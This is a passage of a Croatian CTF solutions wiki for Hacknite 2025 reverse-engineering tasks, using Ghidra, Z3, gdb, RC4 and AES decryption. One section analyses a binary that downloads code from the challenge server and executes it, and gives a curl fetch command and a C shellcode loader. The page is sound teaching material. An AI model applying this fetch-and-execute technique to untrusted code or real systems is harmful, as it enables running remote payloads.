This is an old revision of the document!
Table of Contents
Hacknite2025 rješenja
U ovom članku su rješenja zadataka sa Hacknite 2025 natjecanja. Zadatci su dostupni na platformama:
https://platforma.hacknite.hr/
https://platforma.hackultet.hr/
Reverzno inženjerstvo
rev1
Možete li analizirati program rev1 i saznati lozinku? Ako ne znate kako početi, proučite alat Ghidra (https://www.cert.hr/wp-content/uploads/2021/01/ghidra.pdf)
Uz zadatak je dana izvršna datoteka.
Uz pomoć Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve if uvjete u danoj izvršnoj datoteci i riješiti ih ručno ili napisati Python skriptu koja ih rješava.
U nastavku je Python skripta koja rješava skup uvjeta u izvršnoj datoteci.
def solve():
password = [''] * 21
# buf[0]
password[0] = chr(233 ^ 0xAA)
# buf[1]
password[1] = chr((234 - 150) & 0xFF)
# buf[2]
password[2] = chr(-186 & 0xFF)
# buf[3]
password[3] = str(14 // 7)
# buf[4]
password[4] = '0'
# buf[5]
password[5] = chr((250 - 200) & 0xFF)
# buf[6]
for i in range(256):
if (i * 3) & 0xFF == 159:
password[6] = chr(i)
break
# buf[7]
password[7] = chr(~164 & 0xFF)
# buf[8]
password[8] = '0'
# buf[9]
password[9] = chr(40 ^ 0x1E)
# buf[10]
password[10] = '3'
# buf[11]
password[11] = str(12 // 2)
# buf[12] - rotr8
v = 208
n = 2
password[12] = chr((v >> n) | (v << (8 - n)) & 0xFF)
# buf[13]
password[13] = str(10 // 5)
# buf[14]
for i in range(256):
if (i * 5) & 0xFF == 19:
password[14] = chr(i)
break
# buf[15]
password[15] = chr((44 + 10) & 0xFF)
# buf[16]
password[16] = chr(2 ^ 0x33)
# buf[17]
for i in range(256):
if (i * 137) & 0xFF == 75:
password[17] = chr(i)
break
# buf[18]
password[18] = chr((202 - 149) & 0xFF)
# buf[19]
password[19] = '2'
# buf[20]
password[20] = chr((245 - 152) & 0xFF)
print("".join(password))
solve()
rev2
Rješenje zadatka dostupno je ovdje:
Također su dostupna rješenja korištenjem alata Angr i tehnikom breakpoint counting.
ZZZagrijavanje
Molim vas nemojte ovo rješavati ručno, postoji bolji način (pogledajte na https://wiki.hacknite.hr što od alata bi vam moglo pomoći)
Uz zadatak je dana izvršna datoteka.
Alat za rješavanje ovog zadatka je Z3.
S pomoću Ghidre ili drugog alata za reverzno inženjerstvo potrebno je pronaći sve uvjete u danoj izvršnoj datoteci i postaviti ih kao Z3 ograničenja, te riješiti Z3 alatom.
Potrebno je instalirati paket z3-solver, za što se preporučuje korištenje venv modula.
Skripta koja pronalazi rješenje iz postavljenih uvjeta nalazi se u nastavku.
try:
from z3 import *
except ImportError:
print("z3-solver import error")
exit()
solver = Solver()
# 12 symbolic 8-bit variables for the digits
digits = [BitVec(f'd_{i}', 8) for i in range(12)]
### Constraints
#All characters must be ASCII digits '0'-'9' ---
for d in digits:
solver.add(And(UGE(d, ord('0')), ULE(d, ord('9'))))
# Helper function - popcount in Z3
def popcount(bv):
# Sums each bit (0 or 1)
return Sum([ZeroExt(7, Extract(i, i, bv)) for i in range(8)])
# 17 C checks to Z3 constraints ---
# Check 1: Total ASCII Sum == 639
solver.add(Sum([ZeroExt(8, d) for d in digits]) == 639)
# Check 2: Total Integer Sum == 63
solver.add(Sum([ZeroExt(8, d - ord('0')) for d in digits]) == 63)
# Check 3: Total Popcount == 44
solver.add(Sum([popcount(d) for d in digits]) == 44)
# Check 4: Product Mod 101 == 23
p0, p5, p11 = [ZeroExt(56, digits[i]) for i in [0, 5, 11]]
solver.add(URem(p0 * p5 * p11, 101) == 23)
# Check 5: XOR Sum Even Indices == 13
solver.add(digits[0] ^ digits[2] ^ digits[4] ^ digits[6] ^ digits[8] ^ digits[10] == 13)
# Check 6: Half Sum Difference == 11
sum1 = Sum([ZeroExt(8, d) for d in digits[:6]])
sum2 = Sum([ZeroExt(8, d) for d in digits[6:]])
solver.add(sum1 - sum2 == 11)
# Check 7: XOR Sum Prime Indices == 52
solver.add(digits[1] ^ digits[2] ^ digits[4] ^ digits[6] ^ digits[10] == 52)
# Check 8: Digit Pairs % 97 == 82
d_int = [ZeroExt(8, d - ord('0')) for d in digits]
val1 = d_int[0] * 10 + d_int[1]
val2 = d_int[2] * 10 + d_int[3]
solver.add(URem(val1 + val2, 97) == 82)
# Check 9: Multiplication by 4 == 200
solver.add(((ZeroExt(8, digits[2]) * 4) + (ZeroExt(8, digits[8]) * 4)) & 0xFF == 200)
# Check 10: Lowest Set Bit Sum == 4
lsb3 = digits[3] & -digits[3]
lsb7 = digits[7] & -digits[7]
lsb9 = digits[9] & -digits[9]
solver.add(ZeroExt(8, lsb3) + ZeroExt(8, lsb7) + ZeroExt(8, lsb9) == 4)
# Check 11: Weighted Sum % 251 == 121
w_sum = Sum([ZeroExt(24, digits[i]) * (i + 1) for i in range(6)])
solver.add(URem(w_sum, 251) == 121)
# Check 12: Left Shift == 132
solver.add((digits[6] << 2) + (digits[11] << 3) == 132)
# Check 13: AND == 56
solver.add((digits[0] & 0xF8) & (digits[1] & 0xF8) == 56)
# Check 14: Arithmetic == 23
a1 = SignExt(8, digits[1]) * 3
a7 = SignExt(8, digits[7]) * 5
a11 = SignExt(8, digits[11]) * 2
solver.add(Extract(7, 0, a1 - a7 + a11) == 23)
# Check 15: Low Nibble Sum == 20
solver.add(Sum([ZeroExt(4, d & 0x0F) for d in digits[8:]]) == 20)
# Check 16: Quadratic % 13 == 0
x = ZeroExt(8, digits[4] - ord('0'))
y = ZeroExt(8, digits[5] - ord('0'))
solver.add(URem((x * x) + (y * y), 13) == 0)
# Check 17: Right Shift == 12
rs5 = LShR(digits[5], 3)
rs7 = LShR(digits[7], 3)
solver.add(ZeroExt(8, rs5) + ZeroExt(8, rs7) == 12)
solutions_found = 0
while solver.check() == sat:
solutions_found += 1
model = solver.model()
# Construct the solution string
solution_str = "".join([chr(model[d].as_long()) for d in digits])
print(f" > Solution {solutions_found} found: CTF2025[{solution_str}]")
# Add a constraint to exclude this solution from the next search
block_clause = [d != model[d] for d in digits]
solver.add(Or(block_clause))
if solutions_found == 1:
print("Verification successful: Z3 confirmed there is exactly one unique solution.")
elif solutions_found == 0:
print("Warning: Z3 could not find any solution.")
else:
print(f"Multiple solutions found.")
Easter Egg
Možete li pronaći tajni uvjet koji vam otkriva flag? Igra se s wasd i nakon svakog poteza morate stisnuti enter. Dostupna vam je Linux izvršna datoteka koju možete lokalno analizirati Kako biste dobili flag, spojite se na remote instancu Linux naredbom nc chal.platforma.hacknite.hr 14001 i zadovoljite uvjet tamo kako biste dobili flag.
Uz zadatak je dana i izvršna datoteka zadatka.
Analizom izvršne datoteke alatom Ghidra ili drugim alatom za reverzno inženjerstvo, mogu se vidjeti potrebni uvjeti nakon kojih program čita datoteku “easterEgg.txt” i ispisuje njen sadržaj:
-Zmija treba biti dužine 7 -Zmija treba cijelom dužinom tijela uz desni rub kretanjem prema gore proći gornjim lijevim kutem -Nakon prolaska kroz gornji lijevi kut i skretanjem u desno, zmija treba kretanjem u smjeru kazaljke na sat napraviti puni krug isključivim kretanjem uz rub prostora -Zmija treba ponovno proći gornjim lijevim kutom i skrenuti u desno.
Svi uvjeti moraju biti zadovoljeni za cijelo vrijeme obilaženja kruga, nakon prolaska gornjim lijevim kutem uz zadovoljavanje potrebnih inicijalnih uvjeta.
esrever
Ovaj program se ponaša jako sumnjivo, možeš li analizirati što radi Hint: provjerite da je response koji dobivate isti kao i onaj koji program dobiva (free extra hint: vjerojatno nije)
Uz zadatak se dobiva izvršna datoteka.
Nakon pokretanja programa, program traži unos passworda.
Ltrace i strace pokazuju da program bilježi trenutno vrijeme i da koristi curl kojime nešto dohvaća.
$ ltrace ./esrever
time(0) = 1762893992
snprintf("1762893992", 64, "%ld", 1762893992) = 10
curl_global_init(3, 0x564d9040400b, 0, 0) = 0
curl_easy_init(0x75a517b7e5a0, 0, 0, 0) = 0x564dbd74c600
fmemopen(0x7fffc1e37ed0, 2000, 0x564d9040400c, 0x73747265632f6c) = 0x564dbd74c4a0
curl_easy_setopt(0x564dbd74c600, 0x2712, 0x564d90404010, 0) = 0
curl_easy_setopt(0x564dbd74c600, 0x2722, 0x7fffc1e37e90, 33) = 0
curl_easy_setopt(0x564dbd74c600, 0x2711, 0x564dbd74c4a0, 0x32393933393832) = 0
curl_easy_setopt(0x564dbd74c600, 13, 10, 0x75a517c9838c) = 0
curl_easy_perform(0x564dbd74c600, 13, 0, 0x75a517c97e8c) = 0
fflush(0x564dbd74c4a0) = 0
Input a flag:
$ strace ./esrever
...
clock_gettime(CLOCK_MONOTONIC_RAW, {tv_sec=108665, tv_nsec=324197109}) = 0
sendto(5, "GET /get HTTP/1.1\r\nHost: chal.ha"..., 87, MSG_NOSIGNAL, NULL, 0) = 87
...
recvfrom(5, "HTTP/1.1 200 OK\r\nServer: Werkzeu"..., 16384, 0, NULL, NULL) = 175
...
recvfrom(5, "H\213\354\350\200\2\0\0j<X\17\5SVWATAUAVUH\213\354L\213\350H\213\362"..., 886, 0, NULL, NULL) = 886
...
Binary Ninja može se koristiti za daljnju analizu izvršne datoteke, nakon čega je moguće lako pronaći main funkciju.
004012ef __builtin_memcpy(dest: &buf, 004012ef src: "\x48\x8b\xec\x4c\x8d\x3d\x13\x00\x00\x00\x49\x8d\x37\x6a\x01\x58\x6a\x01\x5f\x" 004012ef "6a\x27\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\x53\x6f\x6d", 004012ef count: 0x20) 00401333 int64_t var_7c8 00401333 __builtin_strncpy(dest: &var_7c8, src: "ething is wrong. Contact organizers\n", 00401333 count: 0x30) 0040138d void var_798 0040138d __builtin_memset(dest: &var_798, ch: 0, count: 0x780) 004013c9 char s[0x40] 004013c9 snprintf(&s, maxlen: 0x40, format: "%ld", time(nullptr)) 004013d3 curl_global_init(3) 004013d8 int64_t rax_3 = curl_easy_init() 004013fa FILE* fp = fmemopen(&buf, len: 0x7d0, mode: U"w") 00401421 curl_easy_setopt(rax_3, 0x2712, "http://chal.hacknite.hr:1556/get") 00401441 curl_easy_setopt(rax_3, 0x2722, &s) 00401461 curl_easy_setopt(rax_3, 0x2711, fp) 00401484 curl_easy_setopt(rax_3, 0xd, 0xa) 00401493 curl_easy_perform(rax_3) 004014a2 fflush(fp) 004014ae (&buf)() 004014b9 *(fsbase + 0x28)
Ovo je ključni dio main funkcije, vidi se da program bilježi trenutačni timestamp, te ga potom postavlja kao user agent i šalje zahtjev na endpoint http://chal.hacknite.hr:1556/get, vraćeni odgovor pokreće kao shellcode.
U ovom djelu koda se može vidjeti pod koji header se postavlja timestamp.
004013c9 char s[0x40] 004013c9 snprintf(&s, maxlen: 0x40, format: "%ld", time(nullptr)) ... 00401441 curl_easy_setopt(rax_3, 0x2722, &s)
Ovdje je ključna konstanta 0x2722, odnosno 10018 u dekadskom. To je zapravo konstanta koja označava postavljanje user agenta.
(enum <unnamed>)CURLOPT_USERAGENT = 10018
Slanje trenutačnog timestampa je bitno, jer serverska strana može vračati drugačiji odgovor, ovisno o tome koji je timestamp u zahtjevu.
Za simulaciju ovog ponašanja može se napisati bash skripta koja šalje isti zahtjev i odgovor sprema u datoteku.
#!/bin/bash # current Unix timestamp # '+%s' format specifier gives the seconds since the epoch. CURRENT_TIME=$(date +%s) URL="http://chal.hacknite.hr:1556/get" echo "Sending request with User-Agent: $CURRENT_TIME" curl -A "$CURRENT_TIME" --connect-timeout 10 "$URL" --output "fetched.bin"
Pokretanjem ove skripte, payload će biti dohvaćen i spremljen u datoteku “fetched.bin”
$ file fetched.bin fetched.bin: data $ binwalk fetched.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- $ strings fetched.bin SVWATAUAVUH A^A]A\_^[ SVWATUH A\_^[ SVUH VWUH VWUH AWAVAUATSH Input a flag: correct nope
Naredbe file i binwalk ne prepoznaju ovu datoteku, kao sto ni Ghidra niti Binary Ninja po defaultu ne prepoznaju. Iako strings ispisuje sadržaj koji ukazuje na to da je datoteka izvršni kod, sto se također može zaključiti i po tome što radi program nakon što dohvati ovaj kod CURL pozivom. Nakon dohvaćanja koda, postavlja ga u buffer, skače na njegovu lokaciju i počinje s izvršavanjem koda u bufferu.
... 004013fa FILE* fp = fmemopen(&buf, len: 0x7d0, mode: U"w") ... 004014a2 fflush(fp) 004014ae (&buf)()
Metode statične analize nisu bile uspješne, moguće je da kod koristi neku tehniku otežavanja reverznog inženjerstva nad njom. Zato se može koristiti dinamička analiza s debuggerom, npr. gdb. Kako bi se olakšala dinamička analiza, može se napisati program koji će samo učitati dohvaćenu datoteku fetched.bin, čekati bilo koji korisnički unos i nakon njega krenuti s izvršavanjem učitanog koda.
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
int main() {
FILE *file = fopen("fetched.bin", "rb");
if (!file) { perror("fopen"); return 1; }
fseek(file, 0, SEEK_END);
long size = ftell(file);
fseek(file, 0, SEEK_SET);
void *mem = mmap(0, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
fread(mem, 1, size, file);
fclose(file);
printf("Shellcode loaded at: %p\n", mem);
printf("Press enter to execute...\n");
getchar();
((void(*)())mem)();
return 0;
}
Ovaj program će ispisati adresu na koju s pomoću gdba trebamo postaviti breakpoint.
gdb ./loader (gdb) run Press enter to execute... (gdb) ^C (CTRL + C - SIGINT) (gdb) break *0x7ffff7fbc000 (gdb) continue Continuing. Breakpoint 1, 0x00007ffff7fbc000 in ?? ()
Sada se mogu vidjeti učitane instrukcije.
(gdb) x/40i $rip => 0x7ffff7fbc000: mov %rsp,%rbp 0x7ffff7fbc003: call 0x7ffff7fbc288 0x7ffff7fbc008: push $0x3c 0x7ffff7fbc00a: pop %rax 0x7ffff7fbc00b: syscall 0x7ffff7fbc00d: push %rbx 0x7ffff7fbc00e: push %rsi 0x7ffff7fbc00f: push %rdi 0x7ffff7fbc010: push %r12 0x7ffff7fbc012: push %r13 0x7ffff7fbc014: push %r14 0x7ffff7fbc016: push %rbp 0x7ffff7fbc017: mov %rsp,%rbp 0x7ffff7fbc01a: mov %rax,%r13 0x7ffff7fbc01d: mov %rdx,%rsi 0x7ffff7fbc020: mov %rcx,%rbx 0x7ffff7fbc023: xor %edi,%edi 0x7ffff7fbc025: mov $0xa9fbcb9f,%eax 0x7ffff7fbc02a: add $0x56043461,%eax 0x7ffff7fbc02f: jne 0x7ffff7fbc04b 0x7ffff7fbc031: cmp %rbx,%rdi 0x7ffff7fbc034: jb 0x7ffff7fbc038 0x7ffff7fbc036: jmp 0x7ffff7fbc05c 0x7ffff7fbc038: mov %rsi,%r12 0x7ffff7fbc03b: add %rdi,%r12 0x7ffff7fbc03e: mov %rsi,%rax 0x7ffff7fbc041: add %rdi,%rax 0x7ffff7fbc044: mov (%rax),%r14b 0x7ffff7fbc047: mov %r13,%rax 0x7ffff7fbc04a: call 0x7ffff7fbc149 0x7ffff7fbc04f: xor %al,%r14b 0x7ffff7fbc052: mov %r14b,(%r12) 0x7ffff7fbc056: add $0x1,%rdi 0x7ffff7fbc05a: jmp 0x7ffff7fbc031 0x7ffff7fbc05c: leave ...
Iz ovih instrukcija vidljivo je koja se arhitektura koristi, prefix r na registrima označava da se koriste 64-bitni registri (inače bi bio prefix e). Također je i syscall indikacija da se koristi 64 bita, kao i same memorijske adrese. Uzevši i ovu liniju u obzir
0x7ffff7fbc295: lea 0xa6(%rip),%rax # 0x7ffff7fbc342
koja računa memorijsku adresu kao relativnu adresu s obzirom na instruction pointer (%rip), može se zaključiti da je ovo Position Independent Code (PIC) za x86-64 arhitekturu.
Ova informacija se može iskoristiti da reverzno inženjerstvo ovog koda s pomoću Binary Ninja alata, gdje se za platform odabere linux-x86_64.
Nakon toga se označi cijeli kod i odabere opcija Make function at this address → linux-x86_64, nakon čega Binary Ninja alat uspješno napravi dekompilaciju koda.
Može se vidjeti main funkcija.
00000288 sub_271(arg1, arg2, "Input a flag:\n", 0xe, 1);
000002b3 void var_28;
000002b3 int64_t rsi;
000002b3 int64_t rdi;
000002b3 char* r8;
000002b3 int64_t r9;
000002b3 rsi = sub_24d(arg1, arg2, &var_28, 0x15, 0);
000002b8 char var_13 = 0;
000002d3 uint64_t var_130;
000002d3 int64_t rsi_1;
000002d3 int64_t rdi_1;
000002d3 char* r12;
000002d3 uint64_t r13;
000002d3 int64_t r14;
000002d3 rsi_1 =
000002d3 sub_67(rdi, rsi, "AWAVAUATSH", 0xa, r8, &var_130, r12, r13, (uint8_t)r14, r9);
000002ed var_130 = 0x15;
000002f0 sub_d(rdi_1, rsi_1, &var_28, var_130, &var_130, r12, r14);
000002f0
00000304 if (!sub_20c(rdi_1, rsi_1, 0x351, &var_28))
00000304 {
00000312 var_130 = 1;
00000314 int32_t rax_4 = (int32_t)var_130;
00000315 var_130 = 8;
00000318 return sub_271(rdi_1, rsi_1, "correct\n", var_130, rax_4);
00000304 }
00000304
00000329 var_130 = 1;
0000032b int32_t rax_6 = (int32_t)var_130;
0000032c var_130 = 5;
0000032f return sub_271(rdi_1, rsi_1, "nope\n", var_130, rax_6);
00000288 }
vidi se da se AWAVAUATSH koristi kao string argument funkcije ovdje, što je inače zapravo string koji se pojavljuje na mjestima u binarnim izvršnim datotekama, gdje su push instrukcije registara pri ulasku u poziv funkcije.
Analizom koda, mogu se vidjeti print i input funkcije (omotane oko write i read poziva). Ključne funkcije su sub_67 i sub_d, koje su zapravo funkcije RC4 algoritma, koji iz ključa generira pseudorandom stream kojim radi XOR nad podatcima koje enkriptira.
sub_67 funkcija generira stanje iz ključa koje će se koristiti za generiranje streama za XOR (RC4 KSA).
sub_d funkcija koristi prethodno generirano stanje kojime generira stream, odnosno odgovarajući bit za svaku poziciju korisničkog unosa i nad njima radi XOR operaciju, te rezultat sprema nazad u buffer u kojemu se spremio korisnički unos (RC4 PRGA).
Nakon toga se enkriptirani korisnički unos uspoređuje s hardkodiranom vrijednošću na offsetu 0x351
AWAVAUATSH je ključ za generiranje stanja.
Hardkodirana vrijednost (enkriptirani flag) na offsetu 0x351 je
(0x351 offset -> copy as -> raw hex) 5c0ad2e1172f2ca7a1609172b2c0677cfd3882554b
Kako bi se pronašao flag, može se samo ova hardkodirana vrijednost dešifrirati s RC4 algoritmom i ključem AWAVAUATSH. Ovo se može napraviti i alatom Cyberchef.
EulerRev
Eulerov broj se može koristit za sve, pa čak i za enkodiranje! Napomena: za rješavanje ovog zadatka ne trebate nikome uplaćivati novac ni slati mailove, svi resursi potrebni za rješavanje ovog zadatka su besplatno dostupni na internetu Hint: treba vam jako jako puno znamenki (u milijardama), file s jako puno znamenki postoji na internetu također: y-cruncher
Uz zadatak su dani i encoder i output.txt (enkodirani flag).
Analizom koda vidi se da program pokušava otvoriti datoteku “euler-enough-digits.txt”, a ako datoteke nema, koristi fallback funkciju za generiranje znamenki broja e, no ova fallback funkcija ne generira dovoljno znamenki za ispravno enkodiranje. Zato ovaj zadatak krivo radi ako se pokreće bez datoteke “euler-enough-digits.txt” u kojoj je dovoljno znamenki broje e. Hint u zadatku kaže da je potrebno puno znamenki, u milijardama, te spominje y-cruncher, koji se može koristiti za generiranje potrebnih broja znamenki, kao i da postoje na internetu.
Način kako program enkodira tekst pomoću znamenki Eulerovog broja je opisan:
Ako je dostupno 3 slova (bajta) uzmi 3, ako nije uzmi 2, ako nije uzmi 1. npr. "Eul". Pretvori svako slovo u njenu ASCII vrijednost. E -> 069 u -> 117 l -> 108 Spoji ASCII vrijednosti slova u broj. 069117108 (ako je prva znamenka 0, ne koristi se, ako je 1 koristi se) 69117108 Na kraju broja dodaj dodatnu index counter znamenku (ciklično od 0-9) Ako je ovo prvi enkodirani blok, ova znamenka će biti 0, za drugi 2, itd.. Za 11. blok će vrijednost opet biti 1. 691171080 Ovaj broj ima 9 znamenki. Odi na poziciju 691171080. znamenke Euler broja i tamo uzmi sekvencu sljedećih 10 znamenki. 3647095543 Ovo je prvih 10 znamenki u output.txt datoteci.
Uzevši u obzir da se ovime enkodiraju printable ASCII znakovi, koji mogu imati vrijednosti 32-126, najveći mogući broj dobiven iz bloka od 3 znakova, na poziciji koja je višekratnik broja 10 (ima zadnju znamenku - block counter, 9) je 1261261269.
Milijarda i 300 milijuna znamenki Eulerovog broja je dovoljna za dekodiranje teksta, koji je enkodiran na ovaj način. Potrebne znamenke se mogu ili izračunati y-cruncherom ili preuzeti s interneta.
Rubni slučaj je zadnji blok, koji može biti duljine 1, 2 ili 3 znaka. Ovisno o njegovoj duljini, enkodirati će se u 4, 7 ili 10 znamenki
3 bajta -> 9 ASCII znamenke (3*3) + 1 index znamenka = 10 znamenki 2 bajta -> 6 ASCII znamenke (2*3) + 1 index znamenka = 7 znamenki 1 bajt -> 3 ASCII znamenke (1*3) + 1 index znamenka = 4 znamenke
Duljina zadnjeg bloka se zna ovisno o ostaku duljine output.txt % 10, ako je 0, zadnji blok je duljine 3, ako je 4 zadnji blok je duljine 1 znaka, ako je 7 zadnji blok je duljine 2 znaka.
wc -c output.txt 137 output.txt 137 % 10 = 7 zadnji blok je duljine 2 znaka. Potrebno je pronaći poziciju prve znamenke na kojoj se sekvenca zadnjih 7 znamenki pojavljuje u Eulerovom broju.
Za dekodiranje, potrebno je uzeti sekvencu 10 znamenki i pronaći poziciju (10 ili 9-znamenkasti broj) na kojoj se pojavljuje ta sekvenca unutar znamenki Eulerovog broja (uzeti poziciju prve znamenke u sekvenci). Za zadnji blok se uzima preostali broj znamenki i traži pozicija te sekvence, kao što je prethodno opisano.
U nastavku je program napisan u C programskom jeziku za dekodiranje, koji koristi datoteku “euler-enough-digits.txt” s barem milijardu i 300 milijuna znamenki Eulerovog broja.
// decoder.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <ctype.h>
#include <stdint.h>
#include <time.h>
#define EULER_SIZE 1300000000ULL
#define EULER_FILE "euler-enough-digits.txt"
#define INPUT_FILE "output.txt"
#define OUTPUT_FILE "decoded.txt"
typedef struct {int fd; char* digits; size_t size;} EulerContext;
void init_e(EulerContext* e) {
e->fd = open(EULER_FILE, O_RDONLY);
e->digits = NULL;
e->size = EULER_SIZE;
}
void clean_e(EulerContext* e) {
if (e->fd != -1) close(e->fd);
if (e->digits) free(e->digits);
}
ssize_t find_sequence(EulerContext* e, const char* seq, size_t len, size_t start_off) {
if (start_off + len > e->size) return -1;
if (e->digits) {
char* p = strstr(e->digits + start_off, seq);
return p ? (p - e->digits) : -1;
}
size_t chunk = 4096 + len;
char* buf = malloc(chunk);
off_t pos = start_off;
ssize_t found = -1;
while (pos < (off_t)e->size) {
size_t to_read = chunk;
if (pos + to_read > (off_t)e->size) to_read = e->size - pos;
if (pread(e->fd, buf, to_read, pos) != (ssize_t)to_read) break;
for (size_t i = 0; i + len <= to_read; i++) {
if (memcmp(buf + i, seq, len) == 0) {
found = pos + i;
break;
}
}
if (found >= 0) break;
pos += to_read - len + 1;
}
free(buf);
return found;
}
int main() {
EulerContext e;
init_e(&e);
FILE* in = fopen(INPUT_FILE, "r");
if (!in) {
perror("fopen input");
clean_e(&e);
return 1;
}
FILE* out = fopen(OUTPUT_FILE, "wb");
if (!out) {
perror("fopen output");
fclose(in);
clean_e(&e);
return 1;
}
size_t blocks = 0, decoded = 0;
time_t start = time(NULL), last = start;
printf("Starting decoding...\n");
while (1) {
char buf[11] = {0};
size_t got = fread(buf, 1, 10, in);
if (got == 0) break;
if (!(got == 10 || got == 7 || got == 4)) {
fprintf(stderr, "[DEC] invalid block size %zu\n", got);
break;
}
blocks++;
fprintf(stderr, "[DEC] Block %zu: size=%zu data=%s\n", blocks, got, buf);
size_t start_off;
if (got == 10) {
start_off = 100000000;
} else if (got == 7) {
start_off = 100000;
} else { // 4
start_off = 100;
}
ssize_t offset = find_sequence(&e, buf, got, start_off);
if (offset < 0) {
fprintf(stderr, "[DEC] seq not found\n");
break;
}
fprintf(stderr, "[DEC] found at offset=%zd\n", offset);
char pstr[16] = {0};
snprintf(pstr, sizeof(pstr), "%0*zd", (int)got, offset);
int nbytes = (got - 1) / 3;
char decoded_block[4] = {0};
for (int i = 0; i < nbytes; i++) {
char bs[4] = {pstr[i*3], pstr[i*3+1], pstr[i*3+2], '\0'};
uint8_t b = (uint8_t)atoi(bs);
fputc(b, out);
decoded_block[i] = (char)b;
fprintf(stderr, "[DEC] byte %d = %u\n", i+1, b);
decoded++;
}
printf("Decoded block %zu: '%.*s'\n", blocks, nbytes, decoded_block);
time_t now = time(NULL);
if (now - last >= 1) {
double elapsed = difftime(now, start);
fprintf(stderr, "[DEC] blocks=%zu decoded=%zu time=%.1f\n", blocks, decoded, elapsed);
last = now;
}
}
double total = difftime(time(NULL), start);
printf("Decoding done: %zu blocks, %zu bytes in %.1f sec -> %s\n", blocks, decoded, total, OUTPUT_FILE);
fclose(in);
fclose(out);
clean_e(&e);
return 0;
}
Moguće je napisati i jednostavniju skriptu za dekodiranje u Pythonu.
Keygen
Naš flag generator radi, samo je malo spor, možeš li nam pomoći? Napomena: program nije maliciozan ali bi se antivirusni programi mogli žaliti na njega, preporučujemo ga analizirati u virtualci s isključenim antivirusnim programom
Uz zadatak je dostupna izvršna datoteka.
Pokretanjem naredbe
upx keygen.exe
(upx iz paketa upx-ucl)
Rezultat je
upx: keygen.exe: AlreadyPackedException: already packed by UPX
Datoteka se može raspakirati naredbom
upx -d keygen.exe
Nakon toga naredbom
strings keygen.exe
Može se vidjeti programski kod i u određenim linijama može se vidjeti AutoHotkey, što ukazuje da se radi o AutoHotkey skripti.
... #Requires AutoHotkey v1.1 ... <assemblyIdentity version="1.1.00.00" name="AutoHotkey" type="win32" /> ...
U ispisu strings naredbe je vidljiv cijeli kod AutoHotkey skripte.
Dio skripte koji generira flag se izvodi nakon pritiska gumba.
ButtonStart(){
f := "7"
Loop 10368001 {
GuiControl,, Calc, % 1 + (1 - fnd(-400 * A_Index / 1036800)) * 97
f := fnb(f, "8")
f := fni(f, "1000000000000")
GuiControl,, Calc, 100
MsgBox, Done, your flag is: CTF2025[%f%]
GuiClose:
ExitApp
fnb funkcija je funkcija eksponenta, fnb(f, “8”) je zapravo f^8.
fni funkcija je modulo funkcija, fni(f, “1000000000000”) je ekvivalentno f % 1000000000000.
linija koda
GuiControl,, Calc, % 1 + (1 - fnd(-400 * A_Index / 1036800)) * 97
Samo računa pomak na status baru i prikazuje ga, ali na vrlo neefikasan i spor način. Uzevši u obzir da se ovo izvršava u petlji s 10368001 ponavljanja, potrebno vrijeme za izvršavanje ovog koda je neprihvatljivo.
Loop 10368001 {
Dio koda koji se koristi za računanje flaga je ekvivalentan ovom izrazu.
f = 7
for i in range (10368001):
f = f ** 8
f = f % 1000000000000
print("CTF2025["+str(f)+"]")
Ovaj se kod može izvršiti u Pythonu i nakon što završi s računanjem, što ne bi trebalo trajati više od minute, ispisat će se flag.
Poligloti
Flag koji se nalazi u datoteci flagEnc.bin je šifriran s programom LorenIps, možeš li ga dešifrirati?
Uz zadatak su dani i LorenIps izvršna datoteka i šifrirani flag.
File naredba nad LorenIps datotekom kaže da je to ELF executable koji nije stripped, pokretanjem binwalk naredbe može se vidjeti da se unutar datoteke nalazi i ZIP datoteka.
$ binwalk LorenIps DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (GNU/Linux) 15296 0x3BC0 AES S-Box 15552 0x3CC0 AES S-Box 15808 0x3DC0 AES S-Box 16064 0x3EC0 AES S-Box 18432 0x4800 AES Inverse S-Box 18720 0x4920 AES Inverse S-Box 19008 0x4A40 AES Inverse S-Box 19296 0x4B60 AES Inverse S-Box 537754 0x8349A Unix path: /sys/kernel/mm/hugepages 540017 0x83D71 Unix path: /usr/share/locale 543791 0x84C2F Unix path: /usr/lib/getconf 562096 0x893B0 Unix path: /usr/lib/locale 804016 0xC44B0 Zip archive data, at least v2.0 to extract, compressed size: 601, uncompressed size: 601, name: LoremIpsum.txt
Zato što izvršio dio datoteke nije stripped, reverzno inženjerstvo s pomoću Ghidra alata je puno lakše, nego što bi inače bilo.
Analizom izvršne datoteke otvorene u Ghidra alatu, može se vidjeti da program koristi AES za enkripciju flaga, a ključ AES-a je XOR jedne statične vrijednosti i jedne vrijednosti koju program pročita iz /proc/self/exe, iz čega također pročita i AES inicijalizacijski vektor (IV).
Može se vidjeti da traži te vrijednosti na određenom pomaku nakon byteova “PK \x05 \x06” Što je zapravo signature za kraj ZIP datoteke. Pošto je i sama ZIP datoteka pri kraju LorenIps datoteke, može se koristiti alat xxd i pogledati byteove pri kraju datoteke.
$ xxd LorenIps ... 000c4770: 7450 4b05 0600 0000 0001 0001 003c 0000 tPK..........<.. 000c4780: 0035 470c 0020 003d e2da c2cb fdde 65c1 .5G.. .=......e. 000c4790: 7948 dcbd 2f78 400e b8ec b0e8 498b 6c4c yH../[email protected] 000c47a0: 9318 66de 87c6 a9
Ovdje se mogu vidjeti vrijednosti druge polovice AES ključa koja se XOR-a s hardkodiranom vrijednošću i AES IV, iako AES IV nije bitno iščitati odavde, jer je također zapisan i u enkriptiranoj datoteci.
Sada samo treba pročitati ovu vrijednost, napraviti XOR kako bi se dobio AES ključ i iskoristiti ga zajedno sa postavljenim IV (lakše ga je pročitati iz flagEnc.bin, sa samog početka) za dekripciju enkriptirane flag datoteke.
Program koji iščitava vrijednosti upisane nakon kraja ZIP datoteke je u nastavku.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <zip_file>\n", argv[0]);
return 1;
}
FILE *file = fopen(argv[1], "rb");
if (!file) {
perror("Failed to open file");
return 1;
}
fseek(file, 0, SEEK_END);
